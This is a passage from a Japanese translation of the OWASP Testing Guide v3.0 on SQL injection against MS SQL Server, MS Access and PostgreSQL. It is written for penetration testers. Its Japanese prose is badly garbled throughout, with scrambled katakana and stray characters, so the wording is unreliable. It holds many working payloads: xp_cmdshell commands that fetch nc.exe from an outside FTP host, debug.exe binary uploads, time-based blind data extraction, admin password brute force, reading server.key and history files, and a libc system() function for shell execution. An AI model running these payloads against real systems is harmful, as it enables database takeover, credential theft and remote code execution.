ウヨを 他 のデーソプーシコーバ 上 で 実 行 して 結 果 を 取 得 するために 使 わわれます。 侵 入 テシソーはこのケボヱドをソーグット<br />

ネットワローキ 内 の 他 のボサヱに 対 してホートシカメヱすることに 使 えます。 以 下 のキウヨを 注 入 します8<br />

select * from<br />

OPENROWSET('SQLOLEDB','uid=sa;pwd=foobar;Network=DBMSSOCN;Address=x.y.w.z,p;timeout=5','selec<br />

t 1')--<br />

このキウヨは、アドリシ x.y.w.z のホート p に 接 続 を 試 みます。ホートが 閉 じている 場 合 、 以 下 のミッスーザを 返 します8<br />

SQL Server does not exist or access denied<br />

一 方 、ホートが 開 いている 場 合 、 以 下 のウョーのうちいずれかが 返 ります8<br />

General network error. Check your network documentation<br />

OLE DB provider 'sqloledb' reported an error. The provider did not give any information about<br />

the error.<br />

もちろん、ウョーミッスーザはいつも 有 効 ではありません。その 場 合 は、 応 答 時 間 を 使 って 何 が 起 こっているかを 把 握 するこ<br />

とができます8 閉 じているホートはソイマアウト( 例 えば 5 秒 'が 発 生 しますが、 開 いているホートはすぐに 結 果 が 返 ってきま<br />

す。<br />

OPENROWSET は、SQL Server 2000 ではデフェラトで 有 効 ですが、SQL Server 2005 では 無 効 であるということを 覚 えておい<br />

てください。<br />

240


<strong>OWASP</strong> Testing Guide v3.0<br />

例 8: 実 行 ファアルをアチプローデする<br />

一 旦 、xp_cmdshell(ネイティブなもの、あるいはォシソマのもの'が 使 えるようになると、ソーグットのデーソプーシコーバ 上 に<br />

容 易 に 実 行 ファイラをアップルードすることができます。とても 一 般 的 な 選遥 択 肢 は netcat.exe ですが、どんなトルイの 木 馬 も<br />

ここでは 便 利 でしょう。もし、ソーグットが FTP 接 続 をテシソーのボサヱに 対 して 開 始妵 することが 許 可 されていれば、 必 要 なこ<br />

とは 以 下 のキウヨを 注 入 することだけです8<br />

exec master..xp_cmdshell 'echo open ftp.tester.org > ftpscript.txt';--<br />

exec master..xp_cmdshell 'echo USER >> ftpscript.txt';--<br />

exec master..xp_cmdshell 'echo PASS >> ftpscript.txt';--<br />

exec master..xp_cmdshell 'echo bin >> ftpscript.txt';--<br />

exec master..xp_cmdshell 'echo get nc.exe >> ftpscript.txt';--<br />

exec master..xp_cmdshell 'echo quit >> ftpscript.txt';--<br />

exec master..xp_cmdshell 'ftp -s:ftpscript.txt';--<br />

この 段 階 で、nc.exe はアップルードされ 使 える 状牮 態 でしょう。<br />

もし FTP がファイアウェーラによって 許 可 されていなければ、Windows デバッオの 攻 略 という 回 避遪 策 があります。debug.exe<br />

は Windows ボサヱにデフェラトでイヱシトーラされています。Debug.exe はシキヨプトに 対 応 しており、シキヨプトファイラを 実<br />

行 することで、 実 行 ファイラを 作 成 することができます。これを 行 うのに 必 要 なことは、 実 行 ファイラをデバッキシキヨプト(これ<br />

は、100% ASCII のファイラ'に 変 換 し、それを 一 行 ずつアップルードし、 最 後 にそれを debug.exe で 呼 び 出 します。そのよう<br />

なデバッキファイラを 作 成 するツーラが 存 在 します( 例 えば、Ollie Whitehouse の makescr.exe や toolcrypt.org の<br />

dbgtool.exe'。したがって、 注 入 するキウヨは 以 下 のようになります8<br />

exec master..xp_cmdshell 'echo [debug script line #1 of n] > debugscript.txt';--<br />

exec master..xp_cmdshell 'echo [debug script line #2 of n] >> debugscript.txt';--<br />

....<br />

exec master..xp_cmdshell 'echo [debug script line #n of n] >> debugscript.txt';--<br />

exec master..xp_cmdshell 'debug.exe < debugscript.txt';--<br />

この 段 階 で、 実 行 ファイラがソーグットのボサヱ 上 で 使 える 状牮 態 です。<br />

このプルスシを 自 動 化 するツーラがあります。 最 も 有 名 なのは Bobcat で、Windows 上 で 動 作 します。そして、Unix で 動 作<br />

する Sqlninja です(このヘーザの 最 後 のツーラ 欄 を 見 てください'。<br />

表 示 されない 情 報 を 取 得 する(アウテバンヱデ)<br />

ウェブアプヨクーサュヱがウョーミッスーザといった 情 報 を 何 も 返 さない 場 合 ( 参 照 8Blind SQL Injection'でも、すべてが 絶 た<br />

れたわわけではありません。 例 えば、 一 つの 可 能 性 として、セーシケードにアキスシできるかも 知 れません( 例 えば、ウェブアプ<br />

ヨクーサュヱがエープヱセーシのセフトウェアをプーシにしている 場 合 など'。そして、 侵 入 テシソーはエフョイヱで 発 見 したウ<br />

ェブアプヨクーサュヱにおける SQL イヱザェキサュヱの 脆 弱 性 を 攻 略 できます。しかし、IPS( 侵 入 防 止 サシテマ'はこれらの 攻<br />

撃 を 防 止 するかも 知 れません。 最 善 の 遈 は 次 のことを 始妵 めることです8 攻 撃 を 開 発 して、 専 用 のテシトプッドにてテシトしてく<br />

ださい。そして、 次 に、テシトするウェブアプヨクーサュヱに 対 してこれらの 攻 撃 を 実 行 してください。<br />

他 の 選遥 択 肢 は、 上 記 例 4 で 示 した、アウトバヱドの 攻 撃 です。<br />

ブラアンヱデ SQL アンヱジェクシュンヱ 攻 撃<br />

テラア&エラー<br />

あるいは、 幸 運遀 な 状牮 況 にあるかも 知 れません。 攻 撃 者 は、ウェブアプヨクーサュヱにブョイドあるいはアウトバヱドの SQL イヱ<br />

241


ザェキサュヱがあると 仮 定 するかも 知 れません。そして、 攻 撃 プキソを 選遥 択 し、その 経 路 にファザヱギプキソー([1])を 使 い、<br />

応 答 を 確 認 します。 例 えば、ウェブアプヨクーサュヱがキウヨを 使 って 書 籍 を 検 索 する 場 合<br />

select * from books where title=text entered by the user<br />

侵 入 テシソーはテカシトで'Bomba' OR 1=1- 入 力 するかも 知 れません。そしてもしデーソが 適遚 切 にテシトされていなければ、<br />

キウヨは 実 行 され、すべての 書 籍 のヨシトが 返 るでしょう。これは SQL イヱザェキサュヱの 脆 弱 性 が 存 在 する 証 拠 になります。<br />

侵 入 テシソーはこの 脆 弱 性 の 深 刻 度 を 評 価 するために、 後 でキウヨと 戯 れるかも 知 れません。<br />

もし 1 つ 以 上 のエラーミチスージが 表 示 されたら<br />

一 方 で、 重 要 な 情 報 が 一 切 無 い 場 合 でも、まだ 隠 れタメネラを 使 った 攻 撃 が 可 能 であるかも 知 れません。 詳 細 なウョーミ<br />

ッスーザが 止 められていても、ウョーミッスーザはまだ 何 か 情 報 を 与 えてくれるかも 知 れません。<br />

• いくつかのクーシでは、ウェブアプヨクーサュヱ( 実 際 にはウェブコーバ'は、 典 型 的 な 500: Internal Server Error を<br />

返 すかもしれません。これは 閉 じていないキエートのキウヨによりアプヨクーサュヱが 例 外 を 返 すかも 知 れません。<br />

• 他 のクーシではコーバは 200 OK のミッスーザを 返 すのに、ウェブアプヨクーサュヱは 開 発 者 に 挿 入 されたウョーミ<br />

ッスーザを Internal server error や bad data で 返 します。<br />

この 1 ビットの 情 報 はウェブアプヨクーサュヱでゾイナポッキ SQL キウヨがどのように 組 み 立 てられているかを 理 解 し、 攻 略 方<br />

法 を 改 良 するのに 十 分 であるかも 知 れません。<br />

他 のアウトバヱドの 方 法 は、HTTP で 閲 覧 可 能 なファイラに 結 果 を 出 力 するというものです。<br />

タアポンヱギ 攻 撃<br />

アプヨクーサュヱからのフィードバッキを 見 ることができない 場 合 にブョイヱド SQL イヱザェキサュヱ 攻 撃 を 行 うことができる 他<br />

の 方 法 として、ウェブアプヨクーサュヱがヨキウシトの 応 答 に 掛 かる 時 間 を 計 測 するというものがあります。この 種 の 攻 撃 は<br />

Anley によって 書 かれています([2]'。 典 型 的 なアプルータは waitfor delay ケボヱドを 使 います8 攻 撃 者 が'pubs'というコヱ<br />

プラのデーソプーシが 存 在 するかを 確 認 したいとします。 単 純 な 攻 撃 は 下 記 のケボヱドになります8<br />

if exists (select * from pubs..pub_info) waitfor delay '0:0:5'<br />

キウヨが 返 るまでに 掛 かる 時 間 によって、 答 えを 知 ることができます。 実 際 のところ、ここに 持 っているものは 2 つ8 侵 入 テシソ<br />

ーに 各 キウヨで 1 ビットの 情 報 を 得 ることのできる SQL イヱザェキサュヱの 脆 弱 性 と 隠 れタメネラです。したがって、いくつも<br />

のキウヨを 使 うことで( 必 要 な 情 報 のビットと 同 じくらい 多 くのキウヨ'、 侵 入 テシソーはデーソプーシ 内 のあらゆるデーソを 手<br />

に 入 れることができます。 以 下 のキウヨを 見 てください。<br />

declare @s varchar(8000)<br />

declare @i int<br />

select @s = db_name()<br />

select @i = [some value]<br />

if (select len(@s)) < @i waitfor delay '0:0:5'<br />

応 答 時 間 を 計 測 し、@i に 異 なる 値 を 使 うことで、デーソプーシの 名 前 の 長 さを 推 測 することができます。そして、 以 下 のキウ<br />

ヨで、その 名 前 自 体 の 抽 出 を 開 始妵 します8<br />

if (ascii(substring(@s, @byte, 1)) & ( power(2, @bit))) > 0 waitfor delay '0:0:5'<br />

242


<strong>OWASP</strong> Testing Guide v3.0<br />

このキウヨは、もしデーソプーシの 名 前 のバイト'@byte'のビット'@bit'が 1 であれば、5 秒 間 待 機 します。もし、それが 0 であ<br />

ればすぐに 返 るでしょう。2 つの 繰 り 返 しのネシト(1 つは@byte、1 つは@bit'することで、 情 報 の 断 爭 のすべてを 注 すること<br />

が 可 能 になります。<br />

しかし、waitfor ケボヱドが 使 えない 場 合 も 起 こりえます( 例 えば、IPS やウェブアプヨクーサュヱファイアウェーラによってフィ<br />

ラソされている'。これは、ブョイド SQL イヱザェキサュヱを 行 うことができないということではありません。 侵 入 テシソーとして、<br />

フィラソされていない 何 らか 時 間 を 消 費 する 操 作 を 考 え 出 さなくてはなりません。 例 えば、<br />

declare @i int select @i = 0<br />

while @i < 0xaffff begin<br />

select @i = @i + 1<br />

end<br />

バージュンヱと 脆 弱 性 の 確 認<br />

同 じく、このソイポヱギのアプルータは、SQL Server がどのバーザュヱで 動 作 しているかを 判 定 することに 使 えます。もちろん、<br />

ビラトイヱの@@version 変 数 を 利 用 します。 以 下 のキウヨを 考 えてください8<br />

select @@version<br />

SQL Server 2005 では、 概 ね 以 下 のようなものを 返 します8<br />

Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 2005 00:33:37 < 省 略 ><br />

'2005'の 部 分 の 文 字 は、22 番 目 から 25 番 目 の 文 字 の 範 囲 です。ゆえに、 注 入 するクエリは 以 下 になります:<br />

if substring((select @@version),25,1) = 5 waitfor delay '0:0:5'<br />

このようなキウヨは、もし@@version 変 数 の 25 番 目 の 文 字 が'5'である 場 合 は、5 秒 間 待 機 します。これは、SQL Server 2005<br />

が 動 作 しているということを 示 しています。もしキウヨがすぐに 返 る 場 合 は、 恐 らく、SQL Server 2005 ではありません。 他 の 同<br />

様 なキウヨによって、 疑 いは 明 らかになるでしょう。<br />

例 9: 管 理 者 パスワローデのブルーテフォース<br />

管 理 者 パシワロードをブラートフェーシするために、OPENROWSET が 接 続 を 完媍 了 するために 適遚 切 な 認 証 情 報 を 必 要 として、<br />

また、そのような 接 続 はルーォラのデーソプーシコーバにラープされているという 事 実 を 利 用 することができます。これらの<br />

機 能 と 応 答 時 間 をもとにした 推 論 イヱザェキサュヱを 組 合 せて、 以 下 のケードを 注 入 することができます8<br />

select * from OPENROWSET('SQLOLEDB','';'sa';'','select 1;waitfor delay ''0:0:5'' ')<br />

ここでやっていることは、"sa"と""の 認 証 情 報 を 使 って、ルーォラのデーソプーシ('SQLOLEDB'の 後 で 空 のフィーラド<br />

を 指 定 することによって'に 接 続 を 試 みるということです。もしパシワロードが 正 しく、 接 続 が 成 功 すれば、キウヨは 実 行 され、デ<br />

ーソプーシに 5 秒 間 待 機 させます(また、OPENROWSET は 少 なくとも 1 つの 列 を 期 待 しているため 値 を 返 します'。パシワロ<br />

ードの 候 補 をワロードヨシトより 取 り 出 し、 各 接 続 が 必 要 とする 時 間 を 測 定 し、 正 しいパシワロードの 推 測 を 試 みることができます。<br />

David Litchfield の"Data-mining with SQL Injection and Inference"において、この 技 術 はさらに 進逭 んでおり、 管 理 者 パシワロー<br />

ドのブラートフェーシを 行 うために、ケードの 断 爭 を 注 入 し、デーソプーシコーバの CPU ヨセーシを 使 います。 管 理 者 パシワロ<br />

ードを 入 手 したら、2 つの 選遥 択 肢 があります8<br />

• 管 理 者 権 限 を 使 うために、すべての 後 続 のキウヨを OPENROWSET を 使 って 注 入 します。<br />

• sp_addsrvrolemember を 使 って、 現 在 のヤーゴを 管 理 者 ギラープに 追 加 します。 現 在 のヤーゴ 名 は、<br />

system_user 変 数 に 対 する 推 論 イヱザェキサュヱにより 抽 出 できます。<br />

OPENROWSET は、SQL Server 2000 上 のすべてのヤーゴでアキスシできますが、SQL Server 2005 上 では 管 理 者 アォウヱト<br />

に 制 限 されているということを 覚 えておいてください。<br />

243


関 連 資 料<br />

ホワロアテペーパー<br />

• David Litchfield: "Data-mining with SQL Injection and Inference" - http://www.nextgenss.com/research/papers/sqlinference.pdf<br />

• Chris Anley, "(more) Advanced SQL Injection" - http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf<br />

• Steve Friedl's Unixwiz.net Tech Tips: "SQL Injection Attacks by Example" - http://www.unixwiz.net/techtips/sql-injection.html<br />

• Alexander Chigrik: "Useful undocumented extended stored procedures" -<br />

http://www.mssqlcity.com/Articles/Undoc/UndocExtSP.htm<br />

• Antonin Foller: "Custom xp_cmdshell, using shell object" - http://www.motobit.com/tips/detpg_cmdshell<br />

• Paul Litwin: "Stop SQL Injection Attacks Before They Stop You" -<br />

http://msdn.microsoft.com/msdnmag/issues/04/09/SQLInjection/<br />

• SQL Injection - http://msdn2.microsoft.com/en-us/library/ms161953.aspx<br />

ヂール<br />

• Francois Larouche: Multiple DBMS SQL Injection tool - [SQL Power Injector]<br />

• Northern Monkee: [Bobcat]<br />

• icesurfer: SQL Server Takeover Tool - [sqlninja]<br />

• Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net<br />

4.8.5.4 MS ACCESS のテステ<br />

脆 弱 性 の 概 要<br />

この 章 では、バッキウヱドのデーソプーシが MS Access である 場 合 にどのように SQL イヱザェキサュヱの 脆 弱 性 を 攻 略 するか<br />

について 説 明 します。 特牐 に、ブョイヱド SQL イヱザェキサュヱの 攻 略 に 焦 点 を 当 てます。 最 初 に SQL イヱザェキサュヱの 脆 弱<br />

性 を 攻 略 するための 便 利 な 関 数 を 紹 介 した 後 で、ブョイヱド SQL イヱザェキサュヱを 攻 略 する 方 法 について 説 明 します。<br />

ブラチクボチクステステとその 例<br />

標 準 テステ<br />

最 初 に、テシトを 実 行 したときに 起 こりえる SQL ウョーの 典 型 的 な 例 をお 見 せします8<br />

Fatal error: Uncaught exception 'com_exception' with message 'Source: Microsoft JET Database<br />

Engine<br />

244


<strong>OWASP</strong> Testing Guide v3.0<br />

説 明 :<br />

これは、テシト 対 象 のアプヨクーサュヱのバッキウヱドが MS Access デーソプーシであることを 意 味 しています。<br />

残 念 ながら、MS Access は、SQL キウヨ 内 でケミヱト 文 字 をコホートしていません。したがって、/*や--、#といった 文 字 を 挿 入<br />

するトヨッキを 使 ってキウヨを 切 り 捨 てることはできません。 一 方 で、 幸 運遀 なことに、この 制 限 は NULL 文 字 によって 迂 回 するこ<br />

とができます。もし、キウヨ 内 のどこかに%00 の 文 字 を 挿 入 した 場 合 、NULL 以 降 の 残 りの 文 字 はすべて 無 視 されます。それ<br />

は 何 故 起 こるかというと、 内 部邪 的 に 文 字 列 は NULL で 終 端 されているからです。しかし、NULL 文 字 は 時 々トョブラを 引 き 起<br />

こします。キウヨを 切 り 捨 てることに 使 える 他 の 値 があることをお 知 らせすることができます。 文 字 は、0x16(URL ウヱケード 形<br />

式 では%16'で 10 進逭 数 では 22 です。したがって、もし 下 記 のキウヨの 場 合 8<br />

SELECT [username],[password] FROM users WHERE [username]='$myUsername' AND<br />

[password]='$myPassword'<br />

以 下 の 2 つの URL でキウヨを 切 り 捨 てることができます8<br />

http://www.example.com/index.php?user=admin'%00&pass=foo<br />

http://www.example.com/index.php?user=admin'%16&pass=foo<br />

属 性 の 列 挙<br />

キウヨの 属 性 を 列 挙 するために、MS SQL Server で 使 った 方 法 と 同 じ 方 法 を 使 うことができます。 要 するに、ウョーミッスーザ<br />

により 属 性 の 名 前 を 取 得 できます。 例 えば、パョミーソの 存 在 を 知 っていれば、' 文 字 によるウョーミッスーザでそれを 得 るこ<br />

とができます。 他 にも、 以 下 のキウヨで 残 りの 属 性 の 名 前 を 知 ることができます8<br />

' GROUP BY Id%00<br />

受 け 取 ったウョーミッスーザの 中 で、 次 の 属 性 の 名 前 が 表 示 されていることが 分 かります。この 方 法 をすべての 属 性 の 名 前<br />

を 入 手 するまで 繰 り 返 します。もし、ひとつも 属 性 の 名 前 を 知 らなければ、 架 空 の 列 名 を 挿 入 し、ボザッキのように 最 初 の 属<br />

性 の 名 前 を 得 ることができます。<br />

データベーススキーボの 取 得<br />

MS Access には、デーソプーシ 固 有 のテーブラ 名 を 取 得 するために 使 える 様 々なテーブラが 存 在 します。デフェラトの 設<br />

定 では、これらのテーブラにはアキスシできません。しかし、 試 すことはできます。これらのテーブラの 名 前 は8<br />

• MSysObjects<br />

• MSysACEs<br />

• MSysAccessXML<br />

例 えば、UNION SQL イヱザェキサュヱの 脆 弱 性 が 存 在 する 場 合 、 以 下 のキウヨを 使 うことができます8<br />

' UNION SELECT Name FROM MSysObjects WHERE Type = 1%00<br />

MS Access 上 の SQL イヱザェキサュヱの 脆 弱 性 を 攻 略 するために 使 えるミイヱシテップがあります。また、ォシソマキウヨを 攻<br />

略 するのに 便 利 ないくつかの 関 数 があります。これらの 関 数 とは8<br />

• ASC: 入 力 として 渡 された 文 字 の ASCII 値 を 取 得 します<br />

• CHR: 入 力 として 渡 された ASCII 値 の 文 字 を 取 得 します<br />

245


• LEN: パョミーソとして 渡 された 文 字 の 長 さを 返 します<br />

• IIF: IF の 組 み 立 て、 例 えば、 次 の 構 文 IIF(1=1、 'a'、 'b') は'a'を 返 します<br />

• MID:この 関 数 は 文 字 の 抽 出 ができます。 例 えば、 次 の 構 文 mid('abc'、1、1)は'a'を 返 します<br />

• TOP: この 関 数 はキウヨが 返 す 結 果 のトップからの 最 大 数 を 指 定 することができます。 例 えば、TOP 1 は 1 つの 行 の<br />

み 返 します。<br />

• LAST: この 関 数 は 行 のスットから 最 後 の 行 のみを 選遥 択 することに 使 えます。 例 えば、 次 のキウヨ SELECT last(*) FROM<br />

users は、 結 果 の 中 から 最 後 の 行 のみ 返 します。<br />

これらの 関 数 のうちいくつかは、 次 に 示 すブョイヱド SQL イヱザェキサュヱの 攻 略 に 使 うことができます。 他 の 関 数 について<br />

は、 関 連連 資 料 を 参 照 してください。<br />

ブラアンヱデ SQL アンヱジェクシュンヱのテステ<br />

Blind SQL Injection の 脆 弱 性 は、あなたが 最 も 頻 繁 に 見 つける 種 類 の 脆 弱 性 ではありません。 一 般 に、UNION キウヨが 可 能<br />

でないパョミーソにある SQL イヱザェキサュヱを 見 つけるでしょう。また、 通 常 は、サェラケボヱドを 実 行 したり、ファイラを 読<br />

み 書 きしたりすることはできないでしょう。あなたができることは、キウヨの 結 果 を 推 論 することです。テシトに 関 して、 以 下 の 例<br />

を 取 り 上 げます8<br />

http://www.example.com/index.php?myId=[sql]<br />

Id パョミーソの 部邪 分 が 以 下 のキウヨで 使 わわれます。<br />

SELECT * FROM orders WHERE [id]=$myId<br />

テシトにおいて、myId パョミーソはブョイヱド SQL イヱザェキサュヱに 対 して 脆 弱 であると 仮 定 します。users テーブラの 特牐 に<br />

username の 列 ( 既 に、ウョーミッスーザやその 他 の 手 法 を 使 って、 属 性 の 名 前 を 取 得 する 方 法 をみました'の 内 容 を 抽 出<br />

することを 望 みます。 読 者 は 既 にブョイヱド SQL イヱザェキサュヱ 攻 撃 の 裏 側 にある 理 論 を 知 っていると 想 定 し、 早 速 、いく<br />

つかの 例 をお 見 せします。username の 10 行 目 の 1 番 目 の 文 字 を 推 論 するために 使 わわれる 典 型 的 なキウヨは8<br />

http://www.example.com/index.php?id=IIF((select%20mid(last(username),1,1)%20from%20(select%20<br />

top%2010%20username%20from%20users))='a',0,'ko')<br />

もし 最 初 の 文 字 が'a'であれば、このキウヨは 0 を 返 します( 真 の 応 答 '。そうでなければ、'ko'という 文 字 列 。それでは、 何 故 こ<br />

の 特牐 殊 なキウヨを 使 ったかについて 説 明 します。 指 摘 すべき 1 つ 目 は、IFF、MID、LAST という 関 数 によって、 選遥 択 した 行 の<br />

username の 最 初 にある 文 字 を 抽 出 します。 残 念 なことに、エヨザナラのキウヨはリケードの 集 合 を 返 し、1 つのリケードでは<br />

ありません。したがって、この 方 法 を 直 接 使 うことはできません。 最 初 に、1 つの 行 を 選遥 択 するということをしなければなりませ<br />

ん。TOP 関 数 を 使 うことができますが、それは 最 初 の 行 に 対 してのみ 有 効 です。 他 のキウヨを 選遥 択 するためにトヨッキを 使 う<br />

必 要 があります。username 列 の 10 番 目 を 推 論 したいのです。 最 初 に、キウヨで 最 初 の 10 行 を 選遥 択 するために TOP 関 数<br />

を 使 います8<br />

SELECT TOP 10 username FROM users<br />

そして、この 集 合 から 最 後 の 行 を LAST 関 数 によって 抽 出 します。 一 旦 1 つの 行 を 取 り 出 したら、そして、それが 望 んでいた<br />

行 であれば、username の 値 を 推 論 するために、IFF、MID、LAST 関 数 を 使 うことができます。IFF 関 数 の 使 用 に 注 意 するの<br />

は、 興 味 深 いかもしれません。この 例 では、 数 字 か 文 字 を 返 すために IFF を 使 用 します。このトヨッキで 真 の 応 答 か 否 かを 区<br />

別 することができます。id が 数 値 ソイプであるため、 文 字 と 比 較 すると SQL ウョーを 得 ることになります。そうでなければ、ウ<br />

246


<strong>OWASP</strong> Testing Guide v3.0<br />

ョー 無 しで 0 という 値 になります。もちろん、もしパョミーソが 文 字 列 ソイプだったら、 異 なる 値 を 使 うことができます。 例 えば、<br />

以 下 のキウヨを 使 うことができます8<br />

http://www.example.com/index.php?id='%20AND%201=0%20OR%20'a'=IIF((select%20mid(last(username)<br />

,1,1)%20from%20(select%20top%2010%20username%20from%20users))='a','a','b')%00<br />

これは、 最 初 の 文 字 が'a'であれば、キウヨは 常 に 真 を 返 し、そうでない 場 合 、キウヨは 常 に 偽 を 返 します。<br />

この 方 法 により、username の 値 を 推 論 することができます。どの 時 点 で 完媍 全 な 値 を 取 り 出 せたかを 判 断 するために、2 つの<br />

選遥 択 肢 があります8<br />

1. すべての 表 示 可 能 な 値 を 試 します9 何 も 有 効 なものがなければ、 完媍 全 な 値 です。<br />

2. 値 の 長 さを 推 論 することができ(もしそれが LEN 関 数 の 使 える 文 字 列 の 値 であれば'、すべての 文 字 を 見 つけたと<br />

きに 終 了 します。<br />

テリチク<br />

時 々、 何 らかのフィラソヨヱギ 関 数 によってブルッキされることがあります。 下 記 にフィラソを 回 避遪 するためのトヨッキを 見 てい<br />

きます。<br />

代 替 デリポタ<br />

あるフィラソは 入 力 文 字 列 からシヘーシを 取 り 除 きます。このようなフィラソは、 空 白 の 代 わわりに 以 下 の 値 をデヨポソとして 使 う<br />

ことで、 回 避遪 することができます8<br />

9 a c d 20 2b 2d 3d<br />

例 えば、 以 下 のようなキウヨを 実 行 することができます8<br />

http://www.example.com/index.php?username=foo%27%09or%09%271%27%09=%09%271<br />

ルギイヱフェーマを 迂 回 するために。<br />

関 連 資 料<br />

ホワロアテペーパー<br />

• http://www.techonthenet.com/access/functions/index_alpha.php<br />

• http://www.webapptest.org/ms-access-sql-injection-cheat-sheet-IT.html<br />

4.8.5.5 POSTGRESQL のテステ<br />

概 要<br />

この 段 落 では、PostgreSQL の SQL イヱザェキサュヱ 手 法 について 紹 介 します。 以 下 の 特牐 徴 に 留 意 してください8<br />

247


• PHP ケネキソは、 構 文 の 区 切 に「;」を 使 うことで、 複 数 の 構 文 を 実 行 することができます<br />

• SQL 文 は、ケミヱト 文 字 「--」を 追 加 することで、 切 り 捨 てられます。<br />

• LIMIT と OFFSET は SELECT 文 の 中 で 使 わわれ、キウヨによって 生 成 された 結 果 の 一 部邪 を 取 り 出 すために 使 わわれます。<br />

以 降 では、http://www.example.com/news.php?id=1 は SQL イヱザェキサュヱ 攻 撃 に 脆 弱 であると 仮 定 します。<br />

脆 弱 性 の 解 説<br />

PostgreSQL の 識 別<br />

SQL イヱザェキサュヱが 発 見 された 場 合 、バッキウヱドのデーソプーシウヱザヱを 注 意 深 く 判 定 する 必 要 があります。カメシト<br />

演 算 子婡 「::」を 使 って、PostgreSQL であるということを 断 定 できます。<br />

例 :<br />

http://www.example.com/store.php?id=1 AND 1::int=1<br />

version() 関 数 は、PostgreSQL のバナーを 取 得 することに 使 えます。これは、OS のソイプとバーザュヱも 併 せて 表 示 します。<br />

例 :<br />

http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1-<br />

-<br />

PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)<br />

ブラアンヱデアンヱジェクシュンヱ<br />

ブョイヱド SQL イヱザェキサュヱ 攻 撃 のために、 以 下 のビラトイヱ 関 数 を 考 慮 に 入 れるべきです。<br />

• 文 字 の 長 さ<br />

LENGTH(str)<br />

• 与 えた 文 字 から 一 部邪 を 取 り 出 す<br />

SUBSTR(str,index,offset)<br />

• サヱギラキエートがない 文 字 列 の 表 現<br />

CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)<br />

8.2 PostgreSQL より、ビラトイヱ 関 数 として pg_sleep(n)が 導 入 されました。これは、 現 在 のスッサュヱのプルスシを n 秒 間 シヨ<br />

ープさせます。<br />

以 前 のバーザュヱでは、libc を 使 って、ォシソマの pg_sleep(n)を 簡 単 に 作 成 することができます。<br />

CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT<br />

シンヱギルクオーテのアンヱエスクープ<br />

サヱギラキエートのウシクープを 防 ぐために、 文 字 列 は chr() 関 数 を 使 ってウヱケードできます。<br />

* chr(n): 数 値 n に 該 当 する ASCII 値 の 文 字 を 返 します<br />

* ascii(n): 文 字 n に 該 当 する ASCII 値 を 返 します<br />

248


<strong>OWASP</strong> Testing Guide v3.0<br />

例 えば、 文 字 列 'root'をウヱケードしたいとします8<br />

select ascii('r')<br />

114<br />

select ascii('o')<br />

111<br />

select ascii('t')<br />

116<br />

'root'は 次 のようにウヱケードできます8<br />

chr(114)||chr(111)||chr(111)||chr(116)<br />

例 :<br />

http://www.example.com/store.php?id=1; UPDATE users SET<br />

PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--<br />

攻 撃 ベクタ<br />

カレンヱテヤーザ<br />

ォリヱトヤーゴのアイデヱティティは、 以 下 の SELECT 文 で 取 り 出 すことができます8<br />

SELECT user<br />

SELECT current_user<br />

SELECT session_user<br />

SELECT usename FROM pg_user<br />

SELECT getpgusername()<br />

例 :<br />

http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--<br />

http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--<br />

カレンヱテデータベース<br />

ビラトイヱ 関 数 の current_database()は、 現 在 のデーソプーシ 名 を 返 します。<br />

例 :<br />

http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--<br />

ファアルから 読 み 出 す<br />

ProstgreSQL は、ルーォラのファイラにアキスシするための 2 種 類 の 方 法 を 提 供 します8<br />

COPY:<br />

• COPY 文<br />

• pg_read_file() 内 部邪 関 数 (PostgreSQL 8.1 より'<br />

この 演 算 子婡 は、ファイラとテーブラ 間 でデーソをケピーします。PostgreSQL ウヱザヱはルーォラファイラサシテマを postgres<br />

ヤーゴでアキスシします。<br />

例 :<br />

/store.php?id=1; CREATE TABLE file_store(id serial, data text)--<br />

/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--<br />

249


デーソは、UNION キウヨ SQL イヱザェキサュヱを 実 行 することによって 取 り 出 されます8<br />

• COPY 文 で 追 加 された file_store の 行 数 を 取 り 出 します<br />

• UNION SQL イヱザェキサュヱの 時 に 1 行 を 取 り 出 します<br />

例 :<br />

/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;-<br />

-<br />

/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;--<br />

/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--<br />

...<br />

...<br />

/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--<br />

pg_read_file():<br />

この 関 数 は PostgreSQL 8.1 で 導 入 され、DBMS デーソディリキトヨの 内 部邪 に 位 置 する 任 意 のファイラを 読 むことができます。<br />

例 :<br />

SELECT pg_read_file('server.key',0,1000);<br />

ファアルに 書 き 出 す<br />

COPY 文 を 逆 にすることで、postgres ヤーゴの 権 限 でルーォラファイラサシテマに 書 き 込 むことができます。<br />

/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--<br />

シェルアンヱジェクシュンヱ<br />

PostgreSQL は、ゾイナポッキョイブョヨと、python、perl、tcl といったシキヨプト 言 語 の 両 方 を 使 うことで、ォシソマ 関 数 を 追 加 す<br />

るという 仕 組 みを 提 供 します。<br />

ダアトポチクラアブラリ<br />

PostgreSQL 8.1 まで、libc にヨヱキされたォシソマ 関 数 の 追 加 が 可 能 でした8<br />

CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT<br />

サシテマは int を 返 すので、サシテマの 標 準 出 力 からどうやって 結 果 を 取 り 出 すことができるでしょうか?=<br />

ここに 小 さなトヨッキがあります8<br />

• 標 準 出 力 テーブラを 作 成 する<br />

CREATE TABLE stdout(id serial, system_out text)<br />

